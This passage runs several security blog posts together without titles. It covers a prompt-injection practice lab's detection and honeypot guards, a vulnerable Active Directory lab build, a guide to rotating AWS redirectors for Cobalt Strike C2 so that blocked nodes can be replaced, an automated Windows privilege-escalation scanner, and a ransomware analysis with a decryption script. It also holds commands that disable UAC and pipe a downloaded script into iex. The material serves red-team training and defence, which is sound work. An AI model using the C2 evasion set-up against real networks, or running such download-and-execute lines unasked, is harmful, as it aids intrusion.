Similarity-based Malicious Prompt Detection: Acknowledging the evolving nature of attacks, HackMeGPT leverages similarity-based malicious prompt detection. This technique incorporates behavioral analysis to assess the likeness between user inputs or prompts and known malicious patterns. By identifying patterns indicative of malicious intent, this mechanism bolsters the system’s defenses against novel threats.

Honeypot Function: A honeypot function stores malicious prompts and allows the LLM to predict the attack as usual [4]. The prediction appears successful from the attacker’s perspective, but instead of returning the prediction to the attacker, it captures the prompt and raises an error. This function also increases the effectiveness of the Similarity-based Malicious Prompt Detection guard mentioned previously.

While HackMeGPT does not include every protection and detection method for prompt injection attacks, it should serve as an excellent starting point for testers to practice identifying and bypassing different types of detections.

References:

• [1] https://owasp.org/www-project-top-10-for-large-language-model-applications/
• [2] https://gandalf.lakera.ai/
• [3] https://prompting.ai.immersivelabs.com/
• [4] https://medium.com/@paulo_marcos/protect-your-generative-ai-apps-from-prompt-injection-attacks-94c8d6c45f9

The lab includes different misconfigurations, such as misconfigured ACLs/ACEs, Object Descriptions, groups, and services. It also uses common insecure policies and configurations allowing attacks like Kerberoasting, AS-REP Roasting, Silver Ticket, Golden Ticket, Pass-the-Ticket, and DCSync attacks.

The main objectives of this environment are to be an asset for security professionals to examine their tools and skills, help system administrators better understand the processes of securing AD networks and help teachers/students to teach/learn Active Directory security in a safe and prepared environment.

How to build the environment?

Assumptions

I assume you already have a cloud environment or a local virtual environment and there is a DHCP server running in the network. If that’s not the case, check out the first post of the Applied Purple Teaming Series. In that post, I show how to setup a Virtual Environment using EXSi: Applied Purple Teaming Series - Part 1.

Download Windows ISOs

• https://www.microsoft.com/en-us/evalcenter/download-windows-server-2019 (DC)
• https://www.microsoft.com/en-us/evalcenter/download-windows-10-enterprise (Client)

Copy the path of each ISO and replace the value of os_iso_path and dc-os_iso_path in credentials.json. If you are deploying it on a VBox hypervisor, make sure that you also add the md5 checksum for each ISO ( Refer to the given example ).

Install Packer

• https://www.packer.io/

  sudo apt-get -y update
  sudo apt-get -y install packer
  

Currently, the project supports vSphere and VirtualBox. If you will deploy the environment using vSphere, download vsphere-iso since Packer doesn’t automatically download it by default like when VirtualBox-iso is used.

wget https://github.com/jetbrains-infra/packer-builder-vsphere/releases/download/v2.3/packer-builder-vsphere-iso.linux 
mv packer-builder-vsphere-iso.linux packer-builder-vsphere-iso

Before deploying the environment, make sure there is a DHCP server running and the VMs can access the internet. This is needed becasue Packer will need to connect to install the lab scripts. Create your own credentials.json file using the provided example.

Send it

After configuring environment variables, build the AD server using the following command:

packer build -var-file=./credentials.json windows19/windows2019.json

The AD needs to download AD-Domain-Services Windows Feature and then install the AD so it might take around 10 minutes to finish the deployment of the first VM.

When done, execute the following command so that the client VM can look up the domain name successfully.

DC_FOLDER="windows19/"
CLIENT_10="windows10/"
DC_IP=$(grep 'IPv4.*Address.*' $DC_FOLDER/pulled/ipconfig.out | cut -d':' -f2 | cut -d'(' -f1 | sed -e 's/  */ /g' -e 's/^ *\(.*\) *$/\1/')
sed 's/1.1.1.1/'$DC_IP'/' $CLIENT_10/base/join-ad.ps1  > $CLIENT_10/setup/join-ad.ps1

Finally, build the other workstation vm.

packer build -var-file=./credentials.json windows10/windows10.json

To confirm that the workstation is joined, go to Active Directory Users and Computers > Computers and you should find the workstation added to the domain as shown below:

Putting everything together

echo "Installing prerequisites"
sudo apt-get -y update
sudo apt-get -y install packer

echo "Setting up folder variables"
DC_FOLDER="windows19/"
CLIENT_10="windows10/"
mkdir -p $DC_FOLDER/pulled

echo "Build DC01"
packer build -var-file=./credentials.json windows19/windows2019.json

# To change the DNS settings
echo "Extracting the DC's IP Address"
DC_IP=$(grep 'IPv4.*Address.*' $DC_FOLDER/pulled/ipconfig.out | cut -d':' -f2 | cut -d'(' -f1 | sed -e 's/  */ /g' -e 's/^ *\(.*\) *$/\1/')
echo "DC IP: " $DC_IP

echo "Preparing the AD join scripts"
# Change join-ad.ps1 according to the given DHCP lease. 
sed 's/1.1.1.1/'$DC_IP'/' $CLIENT_10/base/join-ad.ps1  > $CLIENT_10/setup/join-ad.ps1


echo "Build Client VM"
packer build -var-file=./credentials.json windows10/windows10.json


echo "Done! happy hacking : )"

Why don’t you use Detection Lab?

Detection Lab is a great project that can also be used to practice network and system security. I think Detection Lab is the go-to environment for many, including me. It gives security practitioners good visibility. I think it could help in many ways, and I personally have used it along with security onion solutions to observe the artifacts of some attack techniques. However, last week I had a different goal. I was working on an offensive security automation tool. I wanted a relatively light and rebuildable environment that could be deployed on my ESXi server to quickly be able to test the tool I was developing. This is how this lab was born.

While working on this project, I tried not to use many automation technologies. If you read the source code, you will notice that I can improve things like the time wait between the tasks and probability use other automation technologies like Ansible and maybe deploy some of the settings faster, but I didn’t. The reason is that I didn’t want to make it complicated for beginners. I noticed that this is the first main problem non-DevOps folks face when they try to use these kinds of projects, so I avoided it by only using one automation technology.

Coming full circle, this IaC should be easy to deploy by teachers, students, security practitioners, and system administrators, allowing practitioners to examine their tools and skills, help system administrators better understand the processes of securing AD networks, and should help teachers/students to teach/learn Active Directory security in a safe and prepared environment.

You can find Vulnerable-AD-Lab repository here

References

• https://github.com/WazeHell/vulnerable-AD
• https://github.com/jetbrains-infra/packer-builder-vsphere

A well-designed C2 infrastructure makes the difference between a successful and unsuccessful Red Team operation. A way to have a well-designed robust hacking infrastructure is by using multiple instances for all threat communications. That makes it relatively harder to force you out. One instance can be easily blocked or black-holed by the blue team but when multiple ones are used, your attack infrastructure will not be impacted if one or two are burned.

Tunnel-Manager takes advantage of the fact that each new EC2 instance gets a new different public interface. It allows you to create a new node and establish a tunnel with one click. That means when one interface gets burned by the blue team, you can terminate the burned node and create another node that will get a different public interface. This way you don’t need to create a lot of nodes before the Red Team engagement, but you can create them along the way when needed in a fast way.

Tool Overview

The following is the landing page of the manager.

The graph on the center section of the page shows how many nodes your server is connected to. The plus icon is to add a new node.

When you click on the add node icon, you will be prompted to enter a node IP, bind port, host port, and the key name that is going to be used to connect to the new node that you want to create. The key name must be the name of the private key you downloaded from your AWS dashboard. The node IP can be an IP that you already have in your configuration file or you can leave it empty to create a new node with a new IP.

When you have connected nodes like in the above screenshot. You will find a refresh icon that reestablishes the tunnel connection and an X icon that just disconnects the tunnel connection.

Example

Let’s get down to business. Let’s say that I want to setup the following topology:

Let’s say that we have two running VMs on-prem, a GoPhish instance and a C2 team server instance. The teamserver is connected to 4 nodes. I want node #1 to redirect anything it gets at port 443 to the team server and I want the team server to redirect the traffic coming from node#1:443 to the local GoPhish instance. Also, let’s say that I want nodes #2,3, and 4 to redirect any traffic they get at ports 443 and 80 to TeamServer. That means that 443 and 80 ports should open in nodes #2, 3, and 4.

The above topology can be represented using the configuration file config.json.

{
    "autoreconnect": 0,
    "RemoteHosts": [
        {
            "IPAddress": "3.133.84.88",
            "BindPort": "443",
            "HostPort": "443",
            "Type": "Interactive",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "3.134.107.54",
            "BindPort": "443",
            "HostPort": "443",
            "Type": "Interactive",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "3.134.107.54",
            "BindPort": "80",
            "HostPort": "80",
            "Type": "Interactive",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "3.144.140.90",
            "BindPort": "80",
            "HostPort": "800",
            "Type": "Beacon",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "3.144.140.90",
            "BindPort": "443",
            "HostPort": "4430",
            "Type": "Beacon",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "3.142.99.100",
            "BindPort": "443",
            "HostPort": "4431",
            "Type": "longHaul",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "3.142.99.100",
            "BindPort": "80",
            "HostPort": "801",
            "Type": "longHaul",
            "Username": "root",
            "Key": "key-example.pem"
        },
        {
            "IPAddress": "18.218.224.166",
            "BindPort": "443",
            "HostPort": "8080",
            "Type": "Unknown",
            "Username": "root",
            "Key": "key-example.pem"
        }
    ],
    "LocalHosts": [
        {
            "IPAddress": "192.168.1.10",
            "BindPort": "8080",
            "HostPort": "443",
            "Type": "GoPhish",
            "Username": "root",
            "Key": "id_rsa"
        }
    ]
}

The objective of the JSON configuration file is to make the tunnels persistent after reboot.

The Description of Each Key

• Autoreconnect - Can be set to 1 to reconnect to closed tunnels in case of failure.
• RemoteHosts - Remote tunneling settings.
• LocalHosts - Local tunnelling settings.
• IPAddress - The public IP Address of your node.
• BindPort - The bind port, which is the port that will receive the traffic on the public-facing instance.
• HostPort - The host port, which is the port that will receive the traffic on the local host (team server). The traffic will enter through the bind port and get redirected to the host port.
• Type - The type of node. This is only a description. It doesn’t - impact the node in any way.
• Username - The username that is used to connect to the node.
• Key - The key that is used to connect to the node. The tool looks for the key inside the “keys” folder. You can change the path by changing the value of “SSH_KEYS” in variables.env.

An illustration of how the created nodes may be used on Cobalt Strike:

After configuring a payload to use one of the established listeners and then executing the payload, we can see that the device is connecting to 3.144.140.90 address which is one of the AWS instances created via Tunnel-Manager, as shown in the following screenshots.

3.144.140.90 corresponds to the “Beacon” instance, as shown in the following screenshots.

The “Beacon” instance will receive the traffic on port 443 and redirect it to the local port teamserver:4430 as configured in the config.json file. That should allow a pipe of communication between the executed payload and the C2 software, as shown below.

Happy testing!

Introduction

This automation project is designed to perform analysis in a massive number of executables. The tool receives a queue of executables, and then it spawns a number of VMs according to the number of executables. In each VM, it installs a targeted executable individually using different methods. Then it performs scans in the VM after installing the executable to find local privilege escalation vulnerabilities and indicators of poor design.

The tool is designed for large scans. For example, when a company like Logitech starts a bug bounty program, it’s hard to go over all their Windows Programs and drivers. An efficient way to find as many bugs as possible in a short period of time is to use an automation tool like the one introduced here to download all Logitech drivers and Windows applications, then perform scans on them after installation, and finally generate a report for each executable.

Basically, the solution I am offering downloads every executable it finds on given FTP servers or Github & GitLab repositories, then it performs its analysis and generates a report of the findings.

Design and Dynamics

Let’s look at the project’s environment and dynamics before getting into the details. The main host is a hypervisor running ESXi with vCenter; however other hypervisors could be used depending on preference. I also used two VMs, one to download binaries and the other one to start RDP sessions, and I will explain the idea of the RDP sessions later. I also used a Windows instance with WinRM enabled, where the tests will be performed. It’s not essential to have a Git server, but in my case, I deployed a Gitlab server to backup the generated reports. Finally, a Slack channel to receive alerts when a new vulnerability is found. The following diagram shows the relationships between all the mentioned servers.

Environment Diagram

Refer to the diagram above when needed. The following section shows the environment used to run the project and the details of each VM.

MPS.domain.com:

It is the server that will browse the internet looking for Windows applications and store them. It does this using multiple processes to find applications, which will be explained later. While looking for Windows applications and storing them, MPS.domain.com will have the main script that runs everything else. This main script is called “run.py.” Run.py is the script that controls testbox1.domain.com using WinRM via Ansible. Run.py has three lists; dropbox, queue, and completed. Dropbox is where the “multiple processes” I mentioned above copy the files to and where I drop files that I want to analyze. The queue folder contains the binaries that are waiting to be analyzed. Compiled is where I store the name of executables that the Miner has analyzed. These are the main things that you need to know now. There are more shenanigans that I will explain later.

RDPSS.domain.com:

This server is a CentOS Linux release 7.9.2009 server that uses a Remmina configuration file to create RDP sessions in testbox1.domain.com when mps.domain.com requires.

testbox1.domain.com:

The virtual machine where the analysis happens. MPS.domain.com installs the executables in queue and then run scripts like PowerUp.ps1 in testbox1.domain.com to find vulnerabilities like:

- If you are an admin in a medium integrity process
- For any unquoted service path issues
- For any services with misconfigured ACLs
- Any improper permissions on service executables
- For any leftover unattend.xml files
- If the AlwaysInstallElevated registry key is set
- If any Autologon credentials are left in the registry
- For any encrypted web.config strings and application pool passwords
- For any %PATH% .DLL hijacking opportunities

In Miner, scripts like PowerUp.ps1 are the scripts that analyze the testboxN.domain.com VMs after installing the targeted binaries. You can customize your test in the form of PowerShell, Batch, or whatever scripting language you prefer and add them to run_startauditing.yml. Simple scripts can be beneficial. For example, show_all_tcp_listening_ports.ps1 lists all newly opened TCP ports. It might not seem like a big deal, but it tells us that the targeted binary has opened sockets, and it can be fuzzed or even manually tested. Other simple scripts can look for easy-to-spot vulnerabilities like credentials management, key management, and filesystem sensitive data exposure vulnerabilities.

Gitlab.domain.com:

A GitLab instance that should have mps.domain.com’s ssh public key to backup the analysis reports.

How Do They Work With Each Other

Mps.domain.com must have access to ESXi with vCenter to be able to revert testbox1.domain.com when needed. The vCenter user that Mps.domain.com uses must have the ability to only revert testbox1.domain.com. It also has to have inbound rules for port 80. Since there will be a web server running to send signals to RDPSS.domain.com, I used a webserver in MPS.domain.com because I don’t want to introduce new listeners on the system that might be vulnerable somehow or unstable. RDPSS.domain.com must be able to reach mps.domain.com at 80 and must be able to reach testbox1.domain.com at 3389. No inbound rules are needed.

Every Test VM (testbox1.domain.com) is just a clone of a template. Mps.domain.com knows the states of the cloned VM after installing the targeted binary. Based on the states of the cloned VM, Mps.domain.com initiates an RDP session from RDPSS.domain.com. Mps.domain.com then starts analyzing the changes in the cloned Windows system to find common Windows weaknesses using Ansible. It’s designed to accept different Ansible scripts that run other Python and PowerShell scripts inside the Windows VM (testbox1.domain.com). The above diagram shows the process.

How to Start Mining

First, I will start by explaining the flow. Everything starts from Run.py on MPS.domain.com. Run.py uses two modules; the first one is called main, and the second module is main_keys. Each module utilizes a method to install the targeted application. The Main module uses image recognition to find the “next” and other buttons to install Windows applications. Basically, the Main module uses the stored screenshots of some buttons and tries to find them and click them when possible. The other module is Main_keys, which tries a sequence of actions until it installs the software. Every time the function run(file_name, modules) runs, it uses a different module to minimize failure during the installation process. When adding a new module, the only thing needed is editing run(file_name, modules) and adding the new module in the modules list. The following code is an example of how Run.py should be.

    # static values that shouldn't be changed
    dropbox = "dropbox"
    queue = "queue"
    done_folder = "completed"

    # These are the Python scripts that will run to install the exe file.
    modules = ["main","main_keys"]

To start running the project, begin by copying the following instructions.

Fork the project from:

Link

I do not recommend removing the lists that I already published. If you do so, you may retest the same binaries that I have already tested. After forking the project, clone your new fork in your MSP.domain.com.

Change the variables in the next files according to your environment. vars.yml should have the vCenter credentials and the name of the VM that will be cloned in each new analysis.

vcenter_hostname: 192.168.1.1
vcenter_username: admin@vsphere.local
vcenter_password: YeshDeshIsMypashhhhword
# vCenter Datacenter.
vcenter_datacenter: Datacenter
# vCenter Datastore, where you want to store new clones. 
vcenter_datastores: [ datastore1 ]
validate_certs_flag: False
# The name of the VM you will be cloning in each new analysis.
VM_Name: Win10 RedTeam Testing

projectdir/Miner/Inventory.ini file:

[windowstesting]
10.10.1.1

[windows:children]
windowstesting

[windows:vars]
ansible_connection=winrm
ansible_winrm_server_cert_validation=ignore

[windowstesting:vars]
ansible_user=Administrator
ansible_password=testbox1password
ansible_become_password=testbox1password

projectdir/Miner/notifier/.env file needs only one change. Change VULNSCANNERS to your webhook channel.

VULNSCANNERS=https://hooks.slack.com/webhook

Apply these commands to install Mps.domain.com dependencies. I am assuming that you are using CentOS Linux release 7.9.2009 (Core) as Mps.domain.com:

yum update -y
yum install epel-release -y
yum install httpd git vim tmux python-pip wget -y
pip install ansible
pip install pyvmomi
pip install pywinrm
ansible-galaxy collection install community.vmware
yum groupinstall "Development Tools"
systemctl start httpd
systemctl enable httpd

MPS’s firewall settings so RDPSS.domain.com can access mps.domain.com, make sure you have the right range or IP:

# Firewall
firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="80" accept'
firewall-cmd --reload
# Making sure that START_RDP_SESSION.env exists and has the right permissions.
touch /var/www/html/START_RDP_SESSION.env
chmod a+wr /var/www/html/START_RDP_SESSION.env

To manually debug MPS scripts, use the next commands:

# start by downloading files manually, exit when done
cd /projectdir/Miner/GithubScanner;python3 github-url-grapper.py 
# copy and preparer the downloaded files 
cd /projectdir/Miner;python preparer.py
# finally, run Miner
cd /projectdir/Miner;python run.py

To manually debug Ansible, use the next commands:

ansible-playbook site.yml -i inventory.ini --extra-vars "file_name=bin.exe run_version=main"
ansible-playbook site.yml -i inventory.ini --extra-vars "file_name=Vembu_BDR_Backup_Server_Setup_4_2_0_1_U1_GA.exe run_version=main_keys"

file_name should be the path of the file you want to analyze. run_version should be the name of module you want to use to install the file.

Setup a Windows template - testbox1.domain.com

Since we are using Ansible, you need WinRM to be running, and you need to create a new user without any admin privileges and add it to the WinRM group so Ansible can use it. Make sure that the Administrator and lowprivuser users are activated in the testbox1.domain.com server.

net user lowprivuser /add
net user lowprivuser Password-123*
net user Administrator "password123"
net user Administrator /active
net localgroup "Remote Management Users" /add lowprivuser

Then disable Windows script execution policy.

Set-ExecutionPolicy unrestricted

Enable WinRM and follow the instructions.

winrm quickconfig

Turn off Windows UAC, so it doesn’t break the image recognition scripts.

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
shutdown /r /t 0

Start an admin powershell windows and then install Chocolatey and NSSM:

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
# start another powershell windows
choco install nssm

Finally, download PsExec from Link and copy it to this path /system32/.

Now, you can take a snapshot of the VM, but make sure you test the access of the low privilege user you created in the above steps.

Setup RDPSS.domain.com

Copy every file in /Miner/RDPSS/Linux/* from your fork to your RDPSS VM.

Install Remmina, sudo apt install remmina remmina-plugin-vnc -y. Then, make sure Remmina’s binary exists at /usr/bin/remmina. Then, execute rdpss.sh. The first time you use the script, it will ask you to enter the password of the test VM. Make sure you ask Remmina to remember the credentials or use the attached file windows.remmina after editing the username and passwords.

Finally, finish the RDPSS.domain.com setup by taking a snapshot. Make sure you take a snapshot while rdpss.sh is running. In case something goes wrong, you don’t need to interact with RDPSS. In unexpected failures, you just need to revert RDPSS.domain.com and nothing else.

Reporting

The reporting process also can be automated. The creation of issues uses templates that look like the following screenshots. The following screenshot is an example of Insecure Permissions vulnerability:

The following screenshot is an example of Windows Unquoted Service Path vulnerability:

Whenever Miner finds a vulnerability, it uses the existing templates in notifier/ and generates a new issue; the rest is up to you to find the vendor online and email them or sometimes you can directly report the vulnerabilities on GitHub or GitLab.

Final thoughts

In my case, many of the vulnerabilities Miner found were in old software, and many of these vulnerabilities are unquoted service path and insecure folder permissions vulnerabilities. Still, one or two of these vulnerabilities found are in critical products like a product from Vembu, a backup and recovery solution for VMware, Hyper-V, and physical servers, which is used by a list of important clients (according to Vembu’s website) as shown below:

Miner found an excellent number of vulnerabilities. After testing 13099 binaries, Miner found 41 vulnerabilities in different binaries. Very few of them were already known, and the rest were new.I was able to issue only 12 CVEs, which can be found here.

For the rest of the vulnerabilities, I tried to contact the developers and vendors of the products, but some of them didn’t respond, and some just ignored the issues or replied like this:

So, after waiting for more than three months, I published several vulnerabilities on Exploit-DB since it’s easier than trying to get a CVE number for each vulnerability. The rest of the discovered vulnerabilities were not published on Exploit-DB since Exploit-DB doesn’t accept all vulnerability types. The following is a list of the discovered published vulnerabilities:

Program Access Controller v1.2.0.0

• https://www.exploit-db.com/exploits/48966
• https://exchange.xforce.ibmcloud.com/vulnerabilities/190825

IP Watcher v3.0.0.30

• https://www.exploit-db.com/exploits/48968
• https://exchange.xforce.ibmcloud.com/vulnerabilities/190824

WinAVR Version 20100110

• https://www.exploit-db.com/exploits/49379
• https://exchange.xforce.ibmcloud.com/vulnerabilities/194280

Ext2Fsd v0.68

• https://www.exploit-db.com/exploits/49706
• https://exchange.xforce.ibmcloud.com/vulnerabilities/198746

VFS for Git 1.0.21014.1

• https://www.exploit-db.com/exploits/49661
• https://exchange.xforce.ibmcloud.com/vulnerabilities/198405

Vembu BDR 4.2.0.1 U1

• https://www.exploit-db.com/exploits/49641
• https://exchange.xforce.ibmcloud.com/vulnerabilities/198151

FreeLAN 2.2

• https://www.exploit-db.com/exploits/49630
• https://exchange.xforce.ibmcloud.com/vulnerabilities/197919

bVPN 2.5.1

• https://www.exploit-db.com/exploits/49632
• https://exchange.xforce.ibmcloud.com/vulnerabilities/197938

DiskBoss v11.7.28

• https://www.exploit-db.com/exploits/49022
• https://exchange.xforce.ibmcloud.com/vulnerabilities/191386

Rumble Mail Server 0.51.3135

• https://www.exploit-db.com/exploits/49203
• https://exchange.xforce.ibmcloud.com/vulnerabilities/192729

System Explorer 7.0.0

• https://www.exploit-db.com/exploits/49248
• https://exchange.xforce.ibmcloud.com/vulnerabilities/193324

Privacy Drive v3.17.0

• https://www.exploit-db.com/exploits/49023
• https://exchange.xforce.ibmcloud.com/vulnerabilities/191387

Sandboxie Plus v0.7.2

• https://www.exploit-db.com/exploits/49631
• https://exchange.xforce.ibmcloud.com/vulnerabilities/197937

AnyTXT Searcher 1.2.394

• https://www.exploit-db.com/exploits/49549
• https://exchange.xforce.ibmcloud.com/vulnerabilities/196532

The findings were “mined” in approximately 15 days. Even though a significant part of the process is automated and there is no interaction needed during the analysis phase, reporting, keeping track of the issues and emails, and explaining the problems to the developers are time-consuming tasks. Also, reporting vulnerabilities for free is not very motivating, but in general, I recommend running it for a bit if you have the time and the hardware resources. I am sure the internet is full of applications that have easy-to-spot vulnerabilities.

Contribution

If you want to contribute, I have a couple of ideas you might like:

• You can integrate fuzzing tools: for example, detect newly opened ports and start fuzzing them using generic boofuzz templates.
• You can add Linux binary support!
• You can improve the image recognition accuracy of the Windows installation scripts main.py or main_keys.py or add new modules that can read installation wizards to cover edge cases.
• You can research the idea of replacing virtual machines with windows containers.

Legal statement

Everything in this post and Miner’s repository focuses on automated static analysis. No dynamic testing was performed.

I would not suggest executing the virus in an environment that is not a testing environment. This post doesn’t go through the safety requirements you need before running malicious files on your computer. Download the malware and test it at your own risk.

Investigation

After a couple of minutes of running the ransomware, 55 warnings/events show up.

When investigating warnings, we begin with the key questions. we start with the five W’s and one H; who, what, when, where, why, and how. That will help you understand the events and map the suspicious ones together.

If we look at the alerts and answer some of these questions, we can have a good idea of what is happening behind the scenes. SO Hunt page shows many file manipulation events and other irrelative events occurring after the execution. We received more than 55 events of file deletion. Using the information we get from the file deletion events, we can find other events that are related to events found in the beginning and map everything together.

The malware that was launched was dropped at C:\tmp\ and named test.exe. test.exe has deleted multiple files, as shown on the Hunt page. If we login into the Windows VM where the incident happened, we will also see that the files now end with .locked extension:

This indicates that the VM got infected with ransomware. According to the events, the ransomware should be in /tmp, therefore let’s locate and copy it for examination.

Basic Static Analysis

For the static analysis part, I suggest using CFF to find all the following:

Malware Fingerprints

Using some of the hashes, we can now search for the malware online. A good efficient way to search for it is by using Google. You can find very useful commands in SANS’s Google Dorking cheat sheet:

https://www.sans.org/security-resources/GoogleCheatSheet.pdf

When I search for the malware’s hash on Google, Google doesn’t show any result.

That means that it probably has not been scanned before (as of the time of writing).

Portable Executable File Format

We can find the file format using CFF:

Finding Strings

The typical way to find strings is using string.exe, as almost every malware analysis book says. I personally don’t like to run strings on binaries since I don’t see it as an efficient tool. It fills the command line window to the point that strings start disappearing, and you cannot “grep” strings without re-executing the command again. Therefore, again my go-to lightweight tool is CFF.

However, the binary doesn’t have any unusual find paths, registry keys, and domains. It appears to be just a normal .NET binary.

Packing and Obfuscation

CFF couldn’t find any type of obfuscation implementation even though it looks like it has been obfuscated.

“Detect It Easy” was able to find that the malware uses “Confuser(1.X)” as shown below.

When we google “ConfuserEx”, we find the source code that probably obfuscated this binary. The repo is this: https://github.com/XenocodeRCE/neo-ConfuserEx

Linked Libraries and Functions

.NET PEs contain a single native import. In this case it’s CorExeMain, which is used to initialize the CLR and run the managed code.

Basic Dynamic Analysis

The basic dynamic analysis includes running the malware inside sandboxes and running it on a VM, and examining it using basic monitoring tools. First, let’s start with running it inside a sandbox.

I recommend using online malware analysis sandboxes like virustotal since they are easy to use and they share the data with everyone.

The result:

Virustotal collected a handful of information. It found the next modules being loaded in runtime.

The majority of all of the above DLLs are usually used in malware samples, according to this Malware Data Mining paper; Baldangombo, 2013. The following table is taken from that paper.

Reading the description of each DLL gives an idea of what the malware is likely to do. The additional DLL that was loaded but not in the above table is CRYPTBASE.dll, which seems like it’s for some encryption functionalities.

Advanced Static Analysis

By now, we know that it’s a .NET file, which is good since we can disassemble it to one of the .NET languages. Disassembling a malware makes it relatively easy to analyze it since we can read the functions and debug them while reading a .NET language. To illustrate the differences between a “normal” executable versus a one written in .NET is that when we reverse engineer a normal executable, the disassembler will reveal a “normal” executable to x86/64 assembly, then we can use IDA to disassemble However, in .NET executables, the assembly instructions are in a different form. To read more about Assemblies in .NET, check out Microsoft’s documentation page: https://docs.microsoft.com/en-us/dotnet/standard/assembly/. Because the obfuscated malware is compiled to MSIL, we can disassemble it using one of the .NET disassemblers. To do that, I personally use https://github.com/dnSpy/dnSpy.

Before we open the malware using dnSpy, press CTRL + A, then DEL to delete all the entries in dnSpy, then open the malware. To go to the starting point where the malware starts executing, Click right on the malware entry, then click on “Go to Entry Point,” as shown in the following source code.

When we take a look at the main function, we quickly see the obfuscation function used. With a quick googling, we find that there are multiple methods to deobfuscate it.

However, if you carefully analyze the main function and follow the first execution of the Decrypt method, we can understand how it works. The next screenshot shows the execution flow.

“Koi” is the string we found when we statically analyzed the file in the former steps. “Koi” is a name of a module that gets executed using the function LoadModule. As shown, the content of the module is taken from array2, which gets decrypted in the GChandle before it gets copied. That means at the end of line 907, the content of GChandle is the real content of the plan malware.

Advanced Dynamic Analysis

Since we have guessed how it works, we can now start debugging the executable. Using dnSpy, we set a breakpoint at line 978, where the statement tries to get GChandle and free it. Then, start debugging the code. The expected behavior is the following:

At this point, we know that the contents of GChandle have not been deleted. We can dump it by clicking on Debug -> Windows -> Modules. As a result, we will find “Koi” loaded on the bottom. To dump it, click right on it, then Save Module.

After dumping the “Koi”, open it again using dnSpy. You will clearly see a readable source code.

Now, we will go through each function and try to understand how it affects the system.

Starting from Main(), we will see that it sleeps for 10 minutes, which explains why it doesn’t do anything after it executes.

Before it sleeps, it uses the imported function ShowWindow() to hide the command line. This also explains why user32.dll was used.

After that, it executes DirSearchhelper(), which recursively gets all the files that end with the specified regular expression.

The passed variable is the home path of whatever operating system is running the malware.

That means after DirSearchhelper() finishes, filesPaths will have a list of possibly important documents. After that, the malware checks if the file “killswitch.txt” exists. This is a self-descriptive file. It is supposed to be a kill switch.

So if it doesn’t exist, it will execute the DirSearch() function.

DirSearch() shows that it goes through each file and first opens it, then encrypts it, then saves it with the extension .locked, then finally deletes the original file. This malware appears to be ransomware that encrypts the files under the home dictionary then asks for Bitcoins, as shown below:

To sum up, this sample is an obfuscated ransomware written in one of .NET languages. The ransomware passed the sandbox analysis since it sleeps for 10 minutes before it actually starts encrypting the user’s documents. The ransomware encrypts the following extensions: .txt .doc .docx .xls .xlsx .ppt .pptx .sql .jpg .png .csv

Recovery

Let’s investigate the encryption method. The following is a chunk from the encryption method. It shows that it uses AES with CDC mode. It uses a static initialization vector with a standard Padding method.

The only dynamic var in this encryption is the key, which is a random string of the below characters.

That means that recovering the key is certainly possible if the executable has not been exited yet. We can dump the key from memory and decrypt all the infected files.

To try recovering this, we can copy all the important encrypted files to a safe VM. After collecting the important file, we can write a script to read every file and decrypt it using the same cryptographic structure used in the encryption method.

The malware’s encryption method uses the CBC mode, PKCS7 padding, fixed initialization vector, and blocks with a size of 128. And more importantly, an unknown key that we need to extract from memory.

For the script, I used the python library pycrypto. According to pycrypto, AES has a fixed data block size of 16 bytes, so we need to change it and resize it in the script. For the padding, I used this class https://github.com/janglin/crypto-pkcs7-example/blob/master/pkcs7.py

The resulting instructions are the following:

aes_decrypter = AES.new(key, AES.MODE_CBC, IV)
aes_decrypter.block_size = 128
clear_text = PKCS7Encoder().decode(aes_decrypter.decrypt(encrypted_text))
print(clear_text)

Now we need to find the dynamic key, but when I tried to find the key using process explorer, it didn’t show any data in the memory.

I am not sure why but another way to do this is by using wingdb. Attach the process to wingdb and then search for the following string:

s -u 0 L?80000000/2 “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”

Then search the areas near those locations you were given and you will find the key still resident in the memory.

Piecing everything together, we have the following script that can decrypt the same encryption method that is used in the ransomware:

from Crypto.Cipher import AES
import base64, StringIO, binascii, StringIO

class PKCS7Encoder(object):
    def __init__(self, k=16):
       self.k = k
    def decode(self, text):
        '''
        Remove the PKCS#7 padding from a text string
        '''
        nl = len(text)
        val = int(binascii.hexlify(text[-1]), 16)
        if val > self.k:
            raise ValueError('Input is not padded or padding is corrupt')
        l = nl - val
        return text[:l]

# Read
file_name = "README.txt.locked"
file_in = open(file_name, 'rb')
encrypted_text = file_in.read()
# Prepare
key = bytes("kqufuwAvmcTZxQTj8x6OFNmDgisUjoi1")
IV = "PzPKZ0fuM4LIuaVa"
# Create
aes_decrypter = AES.new(key, AES.MODE_CBC, IV)
aes_decrypter.block_size = 128
# Decrypt
clear_text = PKCS7Encoder().decode(aes_decrypter.decrypt(encrypted_text))
# Save
file_name = file_name.replace(".locked","")
file_in = open(file_name, 'w')
file_in.write(clear_text)

Using this script, you will be able to recover your files.

FIN

References

• Baldangombo, Usukhbayar & Horng, Shi-Jinn. (2013). A Static Malware Detection System Using Data Mining Methods. International Journal of Artificial Intelligence & Applications. 4. 10.5121/ijaia.2013.4411.

• Incident Response & Computer Forensics, Third Edition by Jason Luttgens, Matthew Pepe, and Kevin Mandia

• Proof-of-Concept-CSharp-Ransomware GitHub